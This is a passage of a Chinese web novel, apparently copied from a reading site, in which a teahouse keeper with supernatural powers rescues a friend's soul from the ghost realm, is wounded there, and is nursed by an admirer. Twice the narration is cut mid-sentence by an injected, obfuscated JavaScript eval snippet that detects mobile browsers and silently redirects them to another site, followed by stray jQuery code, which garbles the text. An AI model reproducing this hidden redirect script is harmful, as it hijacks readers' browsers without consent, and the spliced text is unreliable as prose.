“是这样,前日仲敏昏睡不醒,下午又自己醒来。昨日再次陷入昏迷,医生说他身体一切正常,怎么也查不出病因。我想这种事医生恐怕救治不了,朱馆主或许知道是怎么回事。”卿甫简略做陈述。 “孟兄还在吗?” 觐灵轻声问。 “我看不见他。”卿甫语气有些无奈。 “前日罗先生醒来后,有说过什么话吗?” 觐灵心中有一种猜测,但不确定。 “他说他做了一个长长的梦,梦见和人出去游玩,跟这个有关吗?” “赵先生,我想他没有性命之忧。一旦人醒过来,你就告诫他,不要因为好奇心重而与鬼魂携游,会有迷失回不来的风险。” 觐灵的猜测果然没错,他自个也有过类似的遭遇,也曾沉溺过,也曾想着不要醒来,这种体验令人上瘾。 “觐灵,如果将戏袍转移,是不是更好?”卿甫的想法很简单,人与鬼魂不适合共存,那件戏服不解决,总会出问题。 “我想并不是孟兄的魂魄引诱罗先生出游,孟兄的性格沉稳,不大会做这样的事,我过去看看罗先生的状态。” 这种事也只有他能帮忙,他不能推辞,一开始就是他说不要将戏服依附的魂魄驱离,他未必没有责任。 “朱馆主,我过去接你,你在家吗?” “在家。” 半个多月了,他们没有联系,没有碰面,觐灵不知道赵卿甫心中做何感想,也理不清自己的情感。 不过,他不必因为两人间存在尴尬的场面,便避而不见,他愧对父亲,但他对赵卿甫没有任何亏欠,可以坦然去见他。 觐灵更换衣服,梳理头发,站在镜前,镜中的自己,因为多日不见阳光而肤色苍白,神采黯然,可见他这几天不只是慵懒,亦颇为抑郁,只是自己都没有觉察。 坐在大厅,等赵卿甫,此时天近黄昏,晚霞照耀下的院子分外寂静,安逸。院门大开,听到汽车声,觐灵走出,将房门关紧,回头,赵卿甫已站在他身前。 卿甫抱胸站立,夕阳下的他衣着得体,他的袖口高挽,身形颀长,英气不羁。 这样的形象,与幻梦中所见乌纱圆领的赵子钧重叠在一起,越发有种光怪陆离之感。 “朱馆主还没吃饭吧,我们先去吃饭。”卿甫言语平和。 觐灵如往常那般对待卿甫,轻轻说:“还早,先去看罗先生。” “也好。” 卿甫帮觐灵拉车门,觐灵上车,坐在副驾驶座上。 不知道是不是错觉,觐灵闻到车中淡淡的梅香味,心想,该不是车中香水的味道吧。 路上,卿甫与觐灵没有交谈,卿甫几次想找话题,却又不知道说什么,觐灵望着车窗外,平和而沉寂,两人终是一路无话。 车抵达罗家,卿甫带觐灵上楼,仲敏人躺在床上如一块木头,一动不动。 老罗头坐着轮椅守在床边,一见卿甫带了位年轻后生过来,急忙迎上来握觐灵的手说:“朱馆主,你能过来实在太好了。” 觐灵想卿甫已经将他帮过罗仲敏的事情告诉罗父,便说;“老先生不要急,我看一下他。” 觐灵走至床前,查看仲敏,回头问道:“戏袍放在哪里?” 老罗头急忙答:“在书房。” 卿甫说:“我去拿。” 推着老罗头离开,卿甫进书房,在老罗头的指示下,卿甫从书柜中取出一只密封的木盒子,戏服便放在里边。 将盒子拿进寝室,觐灵接过盒子,只看视一眼,便说:“果然不在。” 卿甫听得明白,老罗头不明白,正想问觐灵,觐灵解释:“孟兄不在,罗先生的魂魄又离开身体,显然是与孟兄结伴同行。他们一人一鬼走不远,今晚肯定要回来,不妨等一等。” 老罗头先前已经从卿甫那边听说了朱觐灵的事,知道他是暗香茶馆的馆主,并且身上有异能,不过他毕竟没有亲眼见过,对觐灵的话半信半疑。 他信不过觐灵,但信得过卿甫,卿甫招待觐灵到大厅坐,老罗头不再问询。 老罗头守在床旁,卿甫陪觐灵坐在大厅,卿甫低声问觐灵:“你还看到什么?” 觐灵点了点头,轻轻说:“孟兄不在,罗先生的脸色发青,我想他必然不是第二次尝试让魂魄脱离身躯。我与孟兄交谈过,他是个谨慎的人,不过,也可能是我的误判了。” 正常人哪会一再尝试灵魂出窍,估计是被鬼怂恿,觐灵确实对仲敏了解不深。“我想恐怕是仲敏玩离魂玩上瘾了,他这人在一些方面相当不靠谱,不能做常人设想。” 卿甫跟仲敏合伙做生意,平日接触多,他熟悉这人胆大妄为的性格。 “罗先生平日与你谈过孟兄吗?” 觐灵望向仲敏寝室,若有所思。 “谈过一些,两人似乎相处得不错,前几日见他购买几面白扇,说是孟兄喜欢,题字用。总觉得有些反常,一开始还被吓得半死,突然又好得跟什么似的。”卿甫心里纳闷,仲敏虽然能看到孟兄,但两人语言不通,真不知道两人如何沟通。 觐灵吩咐仲敏善待孟兄,指的是不要再拿镇邪之物压制对方,实在没有想到他们的关系会突然变得如此亲密。 “人鬼殊途,实属不该,是我没做多想,反倒害了罗先生。” 觐灵自责,事情演变成这样,实在是出乎意料。 “你救了他一命,还得保他日后无事,哪有这种道理。”卿甫可是相当肯定,出这种事情,多半是仲敏自寻的。 两人抵达罗家时,天已黑,又在大厅等待好些时候,等得卿甫饥肠辘辘。 卿甫进寝室安慰老罗头,觐灵跟进来,来到床前,再次察看仲敏的脸色,只见他额头有团乌气缠绕,原先发青的脸,竟有些泛紫。 觐灵急忙一把握住仲敏的手,在床沿坐下,对卿甫与老罗头说:“你们出去,把房门关上。” 见到觐灵的神色,卿甫就猜到情况不妙,老罗头就仲敏一个儿子,更是着急,卿甫劝了又劝,才将老罗头推出寝室,安置在书房,又打电话给仲敏的姐姐,让她立即过来照看老罗头。 卿甫回到寝室,问觐灵要做什么,需要帮忙吗。 觐灵已经将窗户全开,窗帘拉起,一脸严肃:“你在门外守着,不要让人打扰我,我带罗先生回来。” 说完话,就去解自己的外衣扣子,卿甫拉住觐灵的手,厉声道:“你要是回不来,我去找谁把你带回来?” 卿甫的担心不无道理,要是朱馆主的魂魄脱离身躯后,同样回不来,那不是不仅救不了仲敏,还害了朱馆主吗? “我能回来。” 觐灵看向卿甫,眼神坚定。 卿甫仍是抓住觐灵的手臂不放,嘴里嘀咕:“还有别的办法吧?” 觐灵摇头,他用恳求的目光看着卿甫,说道:“一个小时过去,如果我没有回来,你便将我摇醒,相信我,我能回来。在这之前,你必须在外面。” 卿甫放开觐灵的手,他道:“我就坐在一旁,不会影响你。” 不由分说,卿甫关上门,搬张椅子堵住门,他就坐在椅子上,要是有人想闯进来,也无法推开门, 觐灵握住仲敏的手,低头闭目,无声无息。 卿甫坐在门后,时而看向觐灵,时而抬手看表,他的心情十分焦虑,但仍保持冷静。 觐灵渐渐失去意识,头枕在床沿,起先他的脸色如常,不一会便有冷汗冒出,又过好一会儿,觐灵的脸色苍白如纸,卿甫抬手看时间,半个钟过去,还不能唤醒觐灵。 不知道他遭遇了什么,也不知道他是否有危险,卿甫坐立不安,所幸没再等候多久,就听到床上的仲敏“哇”一声,身子像条鱼一样跃起,而后见觐灵睁开眼睛,缓缓抬头,他的脸上失血,双唇发紫。 卿甫见仲敏与觐灵同时醒来,惊喜非常,看见觐灵的脸庞才意识到不对劲,觐灵摇摇晃晃想站起身,却失去力量,身子软软倒下,落地之前,卿甫眼疾手快将他抱住,揽入怀中。 觐灵昏迷,仲敏清醒。 询问仲敏情况,他惊魂未定,滚下床来,大声对卿甫叫道:“朱馆主被刺伤了!” 卿甫着急问:“伤哪了?” 仲敏要拉扯觐灵的衣服,卿甫挡住,吼叫:“在哪?” 怀里的人那幅模样令人心悸,再听仲敏说朱馆主受伤,卿甫又急又恼。 “腹侧,在腹侧。”仲敏识相退至一旁。 卿甫掀起觐灵衬衣,检查腹部,没有发现任何伤痕,卿甫抬起头,冷冷问仲敏:“你告诉我,到底出了什么事?” 仲敏愧疚的低头,此时在外头的老罗头听到声响,推车进来,见到仲敏醒来,而朱馆长昏迷,又喜又忧。 卿甫将觐灵抱上床,老罗头过来为觐灵把脉,低语:“他身体十分虚弱,气血两虚。” 老罗头懂中医诊断,觐灵的脉象为虚脉,气血两虚,气血不足。 “和仲敏昏迷时的脉象一致吗?”卿甫不懂什么脉象,他只担心觐灵会不会也迷失在某个地方。 “不一样,还是将朱馆主送去医院吧。”老罗头在仲敏昏迷不醒时曾为他把过脉,脉象极为奇特,不是虚脉。 听到说与仲敏昏迷时不一样,卿甫立即将觐灵抱起,决定送医院。 仲敏过意不去,尾随其后,他出家门时,突然回身对空气说:“外头不安全,你不要出去。” 卿甫知道他是对那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691855|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己看不见身影的孟兄说话,并不意外。 仲敏开车,卿甫照顾觐灵,坐在后座,他让觐灵挨靠在自己身上,两人靠得近,卿甫能闻到觐灵身上的香味,这回他闻出来了,确实是腊梅的清香,梅花的气息。 不只在觐灵身上有,即使是他穿的衣服上也有。 卿甫抱觐灵时,就发现觐灵体重偏轻,成年男子,按说抱起来应该很沉,但卿甫抱觐灵一点也不费力。 卿甫低头凝视觐灵的脸庞,抬手拭去觐灵额前一缕散乱的发丝,他转注于觐灵身上,并没意识到仲敏可以透过后视镜看见他的一举一动。 仲敏从后视镜见到卿甫对朱馆主的迷恋。 自打卿甫将朱馆主抱怀中后,他的每一个动作,每一个眼神,无不说明他对朱馆主有超乎寻常的感情。 “卿甫,对不起,朱馆主伤成这样都是为了救我。”仲敏道歉的话语从前头传来,卿甫没有回应。 他不乐意去回应,心里仍因为觐灵陷入昏迷而埋怨仲敏。 “我以为只是外出游玩,压根没想到会有危险。”仲敏喃喃自语。 “你到底和那位孟兄干什么去了?” 他真不该因为这家伙的鲁莽行径,一次次去找朱馆主帮忙。 仲敏这回没再沉默,一五一十,把他的遭遇都说出来。 原来仲敏与孟梓晴日夜相处,两人能勉强交流一些话语,而且由于相处时日长了,原本在仲敏眼中身影淡薄的梓晴,日益具体,以至有天夜里,当梓晴坐在仲敏床边,仲敏伸手去碰触对方,竟能碰触到对方的手。 这种接触,跟活人的接触不同,一碰触到梓晴,属于梓晴的情感便进入仲敏心中,他们不用交谈,双手紧握,便能知晓对方的心声。 仲敏这人,有鲁莽无赖的一面,他缠着梓晴带他去见识鬼魂的世界,一再纠缠,梓晴只得同意。 就这样,有了第一次,就有第二次,最初是短时间出游,后来游荡得忘乎所以,甚至俗事与凡体都遗忘了。 按仲敏的描述,魂魄一脱离躯体,那体验十分美妙,轻轻飘飘,无拘无束,恣意爽畅。 他与孟梓晴玩得愉悦,甚至出了临城,等他们想起该回去时,两人要入城门,却被城隍鬼吏拦下,一并驱赶出去。 梓晴与鬼吏理论,还被打伤,两人无奈,只得在城门外游荡。 也是他们倒霉,遇到一伙古时战场惨死的甲士,这些甲士辨认出仲敏不是鬼魂,而是活人魂魄,便要吞噬仲敏。 仲敏和梓晴只得与对方打斗,仲敏为保护梓晴险些被砍死。 眼见就要没命,觐灵突然出现,是他帮仲敏挡下致命一刀,被利刃刺穿腹侧。 “血沿着刀刃流出时,那血竟是碧绿色,如果不是亲眼所见,难以相信。”仲敏着重描述这个细节,他难看得很清楚。 卿甫光听不做声,仲敏继续讲述:“我和梓晴的血都是红色的,不只我和梓晴吓着了,就是那个捅伤朱馆主的恶鬼也吓得嗷嗷乱叫,这群恶鬼全都吓跑了。后来,鬼吏终于肯放我们进城,然后,我们就回来了。” 简单地说就是因为贪玩,而城门夜晚不得开启,使得他们两人被关在城外,还被恶鬼欺负,如果不是觐灵赶来,两人说不定已经被那群恶鬼所害。 对于这类怪力乱神的事,卿甫已经有免疫力,无论仲敏说得有多离谱,他都不表示怀疑,内心半信半疑。 不过有一句话,他不得不说:“你适可而止,下次这类灵魂出窍的游戏就不要再玩了。” “我知道。”仲敏应声,他不敢说个“不”字。 车开进医院,卿甫抱着觐灵在一旁等待,仲敏去排队挂号。 挂号完毕,仲敏说自己头晕,干脆一起瞧瞧。 医生对觐灵做检查,说暂时没查出什么毛病,一切都正常,先在医院观察一下。 仲敏也找医生看了,医生说他身体很健康。 很快,仲敏离开医院,他心思全在梓晴身上。 自己在鬼域里受过伤,醒来后仍旧活蹦乱跳,是因为自己是活人吗?梓晴不是活人,会不会即使回来后,他的伤痛仍在? 卿甫守在觐灵身边,握住觐灵的手,沉睡中的觐灵,苍白、憔悴的脸庞有一种破碎的美感,这样的模样,莫名让他联想到寒冬中的白梅。 单人病房,并无其他人,卿甫凝视着觐灵,缓缓低头,嗅闻觐灵的发丝与衣襟。 属于觐灵的气味,是那么的特殊,冬日未至,正值孟夏,这诡异的梅香,到此从何而来呢? 为什么这香味会让自己产生怀念的情感,甚至有时候,仿佛都要想起某些似已被遗忘的事情,又怎么也想不起来。 一瓶点滴输完,觐灵醒来,睁眼见到坐在他床沿的卿甫,卿甫还抓住他的手不放。 被刺穿腹部的疼痛感还在,觐灵没有去拉衣服察看,他知道,不会在他身上留下痕迹。 “仲敏说你受伤了,有哪里疼吗?”卿甫见觐灵醒来,温声询问。 觐灵摇头,没有回答。 即使醒来,身体仍很虚弱,疲倦感阵阵袭来。 按说他是活人的魂魄,进入属于鬼魂的世界里,在鬼域受的伤本不该携带回真实的世界。 怎奈觐灵跟仲敏不同,跟梓晴也不同,他没有携带伤口回来,但被刺伤的部位隐隐作痛。 回城后,梓晴的伤痕存在,没有消失,因为他生活在鬼魂的世界里,至于仲敏,一点伤害都没有造成。 “腹部……有些疼痛。”觐灵喃喃低语。 卿甫轻声道:“我检查过你的腹部,没有伤痕,这处刺伤,该怎么治疗呢?” 觐灵虚弱一笑,慢吞吞说道:“我休息两日便会自愈,赵先生,你送我回家吧。” 卿甫脱下外衣披在觐灵身上,搀扶他下床,觐灵脚步发虚,站不稳,卿甫道:“我抱你。” 觐灵没有拒绝,身体实在使不出力气。 卿甫将觐灵安置在过道长椅上,他去窗口办理手续,手续办好回头,却见觐灵躺在椅子上,手捂住腹部,额头有冷汗。 觐灵感受得到疼痛,可是药物无法医治他,那不是寻常的刺伤。 将觐灵轻轻抱起,卿甫十分心疼,觐灵倦得很,偎依在他怀中,很安静。 仲敏开车来医院时,开的是卿甫的车,因此他将车钥匙留给卿甫,自己搭车回去。 卿甫将觐灵抱进车厢,让觐灵枕靠在他肩上,他保持着一个姿势开车,将觐灵送回家。 路上,卿甫问觐灵有什么法子治疗能他的伤,觐灵说自己以前也曾在鬼域受过伤,会自愈不用医治。 “在自愈前,会很痛苦。”卿甫心中自责,这种没有伤痕的疼痛,想来十分折磨人。 他宁愿是自己挨这一刀,痛在自己身上。 “总要有一个过程,我能忍受。”觐灵回道。 卿甫意识到,朱馆主看似文弱,却是个很柔韧的人。 9. 第 9 章 下车时,觐灵想下地行走,卿甫按住他,低声说:“我抱你进屋。” 没有拒绝,觐灵知道自己的状况。 别看卿甫外貌斯文,力气不小,他抱觐灵,连喘个气都不用。 深夜,路上无人,要不觐灵就算身体再不适,也会坚持行走,这里不同医院,毕竟是居民区,难免会有人传言。 卿甫将觐灵安置在寝室,想到已是深夜,觐灵还没吃晚饭,饿着肚子,越发感到愧疚。 问觐灵想吃点什么,他去买。 觐灵躺在床上,额头上有薄汗,轻声说:“吃不下,不用去。” 卿甫在床沿坐下,看着觐灵,满眼担忧。 “赵先生,谢谢你送我回来,你回去吧。” 觐灵不希望赵卿甫为他担心,甚至因此自责。 如果自己小心点,就不会受伤。 “我睡大厅沙发。”卿甫不打算回家,觐灵独自一人居住,又受了伤,没人照看怎么行。 虽说赵卿甫没有照顾他的义务,而他也不应该与赵卿甫有过深联系,不过此时,觐灵心里很高兴有卿甫做伴。 被利刃刺伤时的痛楚,被铭记在灵魂里,即使没有伤痕,被刺穿的疼痛还没消失,无能为力,只能默默忍受。 这种无助与绝望感,以前也曾经历过,而那时候,觐灵独自一人承受,甚至没有一个倾诉的对象。 “你得吃东西,才能快点康复,何况我也饿了,稀饭吃吗?”卿甫问。 光顾着照顾觐灵,卿甫晚饭同样没吃,此时已经是凌晨,他饿极了。 “这个时间,附近没有买吃的地方,冰箱里有食材,赵先生会做饭吗?”觐灵平时自己做饭,冰箱里的食材一直很丰富,如果卿甫手艺好的话,自己去做两三盘下酒菜,不成问题。 卿甫关上门窗,开启空调,给觐灵拉上被子,这才外出。 躺在床上,觐灵想着卿甫就在自己家中,心里感到安心。 他不再孤立无援,有相伴左右的人。 鬼域不是活人能到达的地方,活人的魂魄只有在很特殊的情况下才能进去。觐灵极少进入鬼域,虽然他能通过茶馆的“通道”进入古代的时空,但鬼域毕竟不同。 第一次进入鬼域,是因为父亲去世,觐灵恳求鬼魂携带他前往。 在鬼域里,觐灵没有见到他的父亲,鬼吏告诉他,并不是所有临城的鬼魂都由他们索去,觐灵的父亲不在其中,或许回祖地去了。 觐灵没有见着父亲,却反倒被一些恶魂围困,他被抓扯,撕咬,遍体鳞伤,也是那时候,觐灵发现他的血在鬼域里呈碧绿色,也正是因此,恶鬼们不再攻击他,他得以活着返回人间。 那一次伤得实在太重,在家中躺了半个月,留下了心理阴影。 在仲敏家中,见到仲敏额头乌气缠绕,觐灵就猜测仲敏是进了鬼域,即使如此,他还是决心再进去一趟,将仲敏带出来。 觐灵并没有什么舍身为人的精神,只是因为仲敏是赵卿甫的朋友兼合伙人。 为什么自己的血液在鬼域里呈碧绿色呢? 觐灵不明白原由,先前也不甚在意,直到这次再次在鬼域受伤,再次因为这碧绿色的血液逃出生天,觐灵才意识到,他是个异类。 梓晴与仲敏在鬼域里的血色都是红色,即使是那些恶鬼也是。 我到底与他人有何不同? 小时候,觐灵曾这样问过自己,多年后,当他受伤躺在床上,因疼痛而无法入睡时,他再次在心中这样问自己。 还记得,当年父亲带他去庙里见住持,住持说觐灵本不应该在人间,又对觐灵的父亲说,父子间的缘分浅薄,好好珍惜。 父亲去世之后,觐灵偶尔会想,是不是因为自己的缘故,使得父亲早逝? 想到往事,觐灵内心凄然,泪水无声划落。 一双温柔的手轻轻擦去觐灵眼角的泪水,觐灵从半梦半醒来清醒,见到站在床头,正低头注视他的赵卿甫。 “我熬了一锅粥,烧了两个菜,不保证好吃。” “赵先生,麻烦扶我起来。” 卿甫将人搀扶,拿枕头垫在觐灵背后,让他靠床坐着。 “你随便吃点吧。” 卿甫一转身,变戏法般手里多出一只碗,一双筷子,碗中盛的是米粥。 “谢谢。”觐灵捧住瓷碗,很是感激。 “多吃点,你太瘦了。”卿甫温语。 卿甫没问觐灵为什么落泪,如果觐灵想告诉他的话,自然会告诉他。 他对朱馆主有更多的了解,知道不能逼他说不愿意道出的事。 喝完一碗粥后,觐灵在疲倦中睡去,梦中偶现魑魅,仿佛又处于鬼域,但他并不再恐惧。 梦中,他滴落于地上的血液,像碧玉一般,散发着光泽,驱散了想撕碎他的恶鬼们。 卿甫几乎一夜未眠,时不时蹑手蹑脚进朱馆主寝室,看视他的情况,天快亮时,他才睡去。 睡在朱馆主家中,卿甫不感到陌生,莫名有种天经地义,理所当然的感觉。 第二日正午,觐灵醒来,发现卿甫已经离开,厨房收拾得干干净净。 回想赵卿甫昨夜的体贴与细微,很是感激。 觐灵不知道,卿甫为人恣意不羁,有时候甚至马虎大意,极少有体贴细微的时候。 昨夜,卿甫熬的米粥柔软可口,炖的肉丁很香,他厨艺不差。 午时,店铺里只有两名伙计,卿甫与仲敏都不见踪迹。 平时,仲敏比卿甫勤快得多,来得早,并会在店中待至关店,卿甫一般是午时过来,傍晚离开。 离开觐灵家,前往古玩店,已经是午后,卿甫仍在打哈欠,他昨夜没睡好。卿甫昨夜不时进出觐灵房间,照看他,也曾长时间坐在觐灵身边,静静端详对方的睡容,心里什么事也不想,没有任何杂念。 觐灵的寝室布置简洁,淡雅喜人,不像卿甫的寝室那么繁琐,卿甫尤其喜爱梅花的香味弥漫其中,他几番寻找,都没找寻到香味的来源。 卿甫抵达店铺,仲敏人随后到,他问卿甫朱馆主的情况,卿甫说昨夜与朱馆主待了一夜,凌晨时分,朱馆长疼痛缓和,睡下了。 “我挨了两刀,没有伤痕,也不觉得疼。” “你皮糙肉厚。” 仲敏神神秘秘拉卿甫进会客室,压低声音:“梓晴说,朱馆主应该不是人类,只有精怪的血才会是绿色。” 卿甫生气地甩开仲敏,怒道:“他不顾自身安危救下你跟那只鬼魂,你们倒说他是精怪不是人?” 仲敏被斥责并不恼,平静地说:“我是担心你。” 卿甫冷语;“你先担心你自己吧。” 很快仲敏就感到后悔,觉得自己不该说这样的话。 他看得出来卿甫迷恋朱馆主,也很笃定朱馆主绝不是普通人。 在卿甫看来,朱馆主身上的奇事多了,血是绿色的又怎么样,真是精怪,他也不在乎。 小张跟黄姐在仓库忙碌,仲敏在会客室,卿甫到外面打电话,轻声问觐灵身体好些没,还会感到疼痛吗。 “今日好上许多,人也有精神。” 觐灵的话语里带着笑意,接到卿甫的电话,他似乎很高兴。 “你晚上想吃什么,我带过去。”卿甫言语温柔。 “我已经没事了,能自己做饭,不用再麻烦你。” 觐灵低喃。 “不麻烦。” “赵先生,我得感谢你,你昨夜留下来照顾我,你煮的米粥也很可口。” “你喜欢的话,我下回再做给你吃。”卿甫笑道。 觐灵没接话茬,他不想与卿甫关系过于暧昧,他们终归不该迈开那一步。 “罗先生还好吗?他醒来后,我就昏迷了。” 觐灵问起罗仲敏,毕竟这人是他救回来的。 “他能有什么事,活蹦乱跳,还是他开车送你去医院。” 仲敏这种家伙实在不值得觐灵去救,还为他受伤。 “那就好,赵先生,我有件事想跟罗先生说。” 卿甫喊仲敏出来,把手机递给他,又担心他说不尊重朱馆主的话,抱胸站在一旁监视。 “朱馆主,身体好些了吗?谢谢你救了我跟梓晴。”仲敏心里十分感激朱馆主的帮主,就算他真是邪灵,也是好的邪灵。 “罗先生,不用道谢,这是我的失误,我有责任。” 觐灵接着说:“罗先生,我问你件事,你要如实回答,你和孟兄是不是有体肤之亲?” 觐灵压低声音,卿甫还是听到了,仲敏脸色唰一下变红,脸上的笑容消失,吃吃道:“握握手算吗?” 他很震惊,朱馆主怎么会知道? “罗先生,知道我为什么看出来吗?” 觐灵轻声问。 “不知道。”仲敏摇了摇头。 “你的身上有孟兄的气息,你的气色很不好。” 手机里传来仲敏紧张的呼吸声,觐灵知道接下要说的话,罗仲敏未必能接受,但还是接着说:“罗先生,近来是不是觉得孟兄的形象越来越具体?那是因为你的精气被他吸食。” 仲敏很笃定:“他不会害我。” 觐灵听到这话,仍不改口吻,继续说:“孟兄可能并无意这么做,人鬼不能有身体接触,希望你能铭记。” 这话,仲敏不爱听,他知道朱馆主有特殊能力,但他不信孟梓晴会害他,相处下来,他早就知道这鬼本性善良,心肠甚至很软。 仲敏回道:“难道只有人与人才能做朋友吗?” 语毕,将手机递给卿甫。 卿甫狠瞪仲敏一眼,他接过手机,急忙说:“朱馆主,你别管他。” 叹声气,觐灵说:“赵先生,我有不好的预感,你能劝下罗先生,让我见见孟兄吗?” 卿甫声音温和:“你身体还没好,好好休养,其余事不要管了。” 结束通话,卿甫看向站在水箱旁,低头喂金鱼的仲敏,无奈摇头。 仲敏不给卿甫说教的机会,他认为卿甫没资格说。 卿甫不也迷恋上神秘的朱馆主,甚至不在乎他是不是人类。 见仲敏冥顽不灵,自己又不是仲敏的爹,卿甫懒得说他。 这天,店里生意一般,天还没黑,仲敏就离开了,卿甫惦记着给朱馆主送份晚餐,正打算走人,店里忽然来位老顾客。 黄姐在店中招待老顾客,卿甫到店外,与朱馆主通话,说自己等会过去,让朱馆主不用做饭。 觐灵一再婉拒。 老顾客相中店里一件仿三星堆的青铜头像,很大一件,死沉。 卿甫和小张、黄姐,再加上司机,四个人才将这东西搬上货车,发走。 做完这笔生意,已是晚上九点,卿甫饭都顾不上吃,决定回家先洗个澡。 抬铜像时流了一身汗水,黏糊糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691856|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实在难以忍受。 他好歹是个脑力工作者,近来老是干体力活,这也算脑力结合,知行合一了吧。 车开进寂静的路段,稍不留神,突然车前窜过一个人影,吓得卿甫赶紧刹车,他反应虽然快,但还是撞上了那物品。 惊魂未定,卿甫下车察看,哪有什么人影,四周空无一物,刚才莫不是见鬼了? 奇怪,我怎么可能见到鬼? 卿甫站在车旁发呆。 侦察完四周,再次确认没有撞到人,也没有撞着什么阿猫阿狗,卿甫继续开车。 回到家中,将车开进车库,出来时,见到院子里有一个模糊的身影,卿甫以为是贼,抄把扳手就赶过去,走近一看,人立即懵了。 哪是什么贼,那花丛中立了个身影,是位七十多岁的老人,穿身笔挺的中山装,手握龙头拐杖,正在踱步。 “祖父?”卿甫喃喃自语。 他这一生中,还没有哪一次,如此的震惊。 曾经卿年跟他说过,看见院子里有个像卿甫祖父的老人,但当时卿甫看不见,便没当一回事。 祖父没有听到卿甫的唤声,他缓缓离去,无声消失在夜幕中。 卿甫急忙打开庭院的灯光,四处寻觅祖父的身影,再寻觅不着。 心中诧异,卿甫返回屋中,想到卿年在屋内还见到一个女孩的鬼魂,他坐在大厅,等待女孩的出现。 屋内空寂,不见任何人影。 卿甫又想适才见到的,真是祖父吗? 朱馆主不是说他体质特殊,阴气之物无法靠近他,他没法见到鬼魂? 一夜无梦,卿甫是被一阵淡淡的梅香唤醒,他睡眼惺忪,于黑暗中,捕抓到香味的影踪,那是一些微弱的绿色光点,呈烟雾状,在暗夜里飘荡。 卿甫赤脚下床,伸手想去碰触这些光芒,光芒立即消失不见。 打开照明,强烈的灯光刺激得卿甫睁不开眼睛,等他适应光亮,寝室内果然空荡无物,倒是那梅花的香味,还残留着一些,清淡而隽永,仿佛朱馆主此刻就在他身边。 卿甫再睡不着,去冰箱拿听冰啤酒醒脑,一听啤酒下腹,他基本理清了头绪。 仲敏与孟兄相处时间长了,且关系亲好,有肢体接触,所以孟兄的形象越发具体,他们俩人相互产生影响。 自己与朱馆主呢? 他对朱馆主可是又搂又抱,还在朱家过夜,他也受到朱馆主的影响吧。 原本见不到鬼魂的他,才会突然在自家院中发现祖父的游魂,至于适才看到的绿色光点,闻到的梅香,多半也与朱馆主有关。 “梓晴说,朱馆主应该不是人类,只有精怪的血才会是绿色。” 仲敏的话,此时在耳边回响。 “精怪……” 卿甫躺在沙发上,思考这种可能性。 朱馆主身边发生了太多怪异的事情,他显然不是一个普通人。 “难道还能是只梅树精。” 卿甫为自己的联想感到好笑,朱馆主是个活生生,真真切切的人,他碰触过他的肌肤,感受得到对方的体温。 连着数日,店中生意繁忙,卿甫没再前去拜访朱馆主,他时常打电话嘘寒问暖,朱馆主的态度既不亲好,也不疏远,将双方摆在朋友的关系上。 这些时日,卿甫没有和朱馆主接触,也不再看见鬼魂。 想来朱馆主对他的影响只有短期效果。 每次傍晚回家,卿甫都会站在院子里,四处张望,果然不见祖父的游魂,他有些失望。 朱馆主“赋予”他的能力已经消失,朱馆主的态度不冷不热,卿甫有种感觉,他和朱觐灵的关系无法再近一步。 卿甫有了贪念,他想与朱觐灵更亲近一些。 孟梓晴的事,卿甫没再跟仲敏谈过,仲敏很抗拒。 想来仲敏毕竟是位成年人,有判断能力,不至于拿自己的性命开玩笑。 这些时日,觐灵鲜少出去会琴友,茶馆也去得不勤,他恢复先前的慵懒,躺在家中,神游太虚。 他在梦境之中,再次身处湖畔,不是柳绿莺啼的时节,仍是隆冬大雪之时。 湖中亭上有人,两名士子铺毡对饮,童子蹲一旁扇碳炉温酒。 忽见湖面上出现一舟,朝亭子靠近,舟上的主人头戴万字巾,身披青色鹤氅,潇洒脱俗。 觐灵意识到这番情景熟悉,想来曾在古人笔记中读到,自己便基于此编织了梦境。 他在一旁观看,雪花飘落在肩上,但并不感到寒冷。 鹅毛大雪纷飞,寒梅正艳,雪白中,点点红,红得晶莹剔透,惊心动魄。 觐灵独自在梅林中游荡,突然见到前方的梅林中立有一人,仍是乌纱圆领,英俊的脸庞染上风霜。 觐灵认出他来,眼中一热,泪水溢出眼眶。 七百余年的相思,化为寒冬凝结的泪水。 “你到底是谁?” 觐灵望向圆领男子,喃喃低语。 圆领男子朝他走来,抬手轻抚身侧的梅树,低语:“我仅存在你的思忆之中,是你的眷念之情,将我唤来这里。” 觐灵摇头,他不明白,他一直在思念着这个人,却想不起他是谁,即使知道他的名字,也无济于事。 远处,湖心亭上,披青色鹤氅的士子与亭上人辞行,登舟离去,舟子道:“莫说相公痴,更有痴似相公者。” 10. 第 10 章 这段时间,觐灵没有出去走访琴友,琴友留意他好几日没出现,结伴上门拜访。见觐灵病恹恹,脸色苍白,还以为他生病了。 觐灵说没有生病,大概是终日待在屋内,没晒到太阳的缘故。 这些人和觐灵认识多年,知道觐灵怕热,又逢仲夏,龟缩在宅中,足不出户,也属正常。 觐灵平日交友只有寥寥几人,以琴友居多,里边有老迈的琴师,有年少的琴徒,有开古琴培训班的教师,这些人聚在一起,除非举行琴会,基本不弹琴,也就是聊聊天喝喝茶,或是在院子里下棋。 午后的庭院凉风徐徐,在树阴下对弈是个好消遣,耳边蝉鸣一片,偶有几声蛙叫,令人感到惬意。 觐灵的棋艺不错,连胜两局,起身给众人烧水倒茶。 